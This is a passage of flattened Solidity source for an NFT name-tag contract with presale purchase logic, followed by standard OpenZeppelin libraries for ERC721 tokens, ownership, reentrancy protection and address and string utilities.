_preValidatePurchase(_names.length); if (usePresale) { allowListParams[msg.sender].purchasedAmount += uint8(_names.length); } else { saleSupply += _names.length; } return _buyTokens(_names); } function buyTokensByContract(string[] memory _names, address _contract) external payable whenPresaleActive nonReentrant returns (uint256[] memory) { require(msg.sender != address(0)); require(_names.length > 0, "NT: Must mint at least one token"); require(_remainingPresaleTime() > 0, "NT: Presale time out"); require(inAllowContractList(_contract), "NT: Contract address is not in the allowed list"); uint version = _contractParamsVersion(_contract) - 1; require( IExternalAllowedContract(_contract).balanceOf(msg.sender) >= allowContractListParams[_contract][version].minBalance, "NT: Sender balance on the contract less than min balance" ); uint8 purchasedAmount = allowContractListParams[_contract][version].purchasedAmountByAddress[msg.sender]; require(_names.length + purchasedAmount <= allowContractListParams[_contract][version].limit, "NT: Presale contract limit exceeded"); require(allowContractListParams[_contract][version].price * _names.length <= msg.value, "NT: Presale, insufficient funds"); allowContractListParams[_contract][version].purchasedAmountByAddress[msg.sender] += uint8(_names.length); allowContractListParams[_contract][version].purchasedAmount += _names.length; emit PresaleContractPurchase(_contract, msg.sender, _names.length); return _buyTokens(_names); } function withdraw(address payable wallet, uint256 amount) external onlyOwner { require(amount <= address(this).balance); wallet.transfer(amount); } function validate(string memory name) internal pure returns (bool, string memory) { bytes memory b = bytes(name); if (b.length == 0) return (false, ''); if (b.length > 36) return (false, ''); bytes memory bUpperName = new bytes(b.length); for (uint8 i = 0; i < b.length; i++) { bytes1 char = b[i]; if ( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) //a-z ) { return (false, ''); } bUpperName[i] = _upper(char); } return (true, string(bUpperName)); } function getByName(string memory name) public view virtual returns (uint256) { return names[upper(name)]; } function getTokenName(uint256 tokenId) public view virtual returns (string memory) { return tokenNames[tokenId]; } function _setName(uint256 tokenId, string memory name_) internal virtual returns(bool){ bool status; string memory upperName; (status, upperName) = validate(name_); if (status == false || names[upperName] != 0 || denyList[upperName]) { return false; } if (validateNameTagV1) { require(_token.getByName(upperName) == 0, "NT: Exist name in version 1"); } string memory oldName = getTokenName(tokenId); string memory oldUpperName = upper(oldName); names[oldUpperName] = 0; tokenNames[tokenId] = name_; names[upperName] = tokenId; emit NameChanged(tokenId, oldName, name_); return true; } function renounceOwnership() public override onlyOwner { revert('NT: Cannot renounce ownership'); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; abstract contract StringUpper { function _upper(bytes1 _b1) internal pure returns (bytes1) { if (_b1 >= 0x61 && _b1 <= 0x7A) { return bytes1(uint8(_b1) - 32); } return _b1; } function upper(string memory _base) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); for (uint i = 0; i < _baseBytes.length; i++) { _baseBytes[i] = _upper(_baseBytes[i]); } return string(_baseBytes); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` 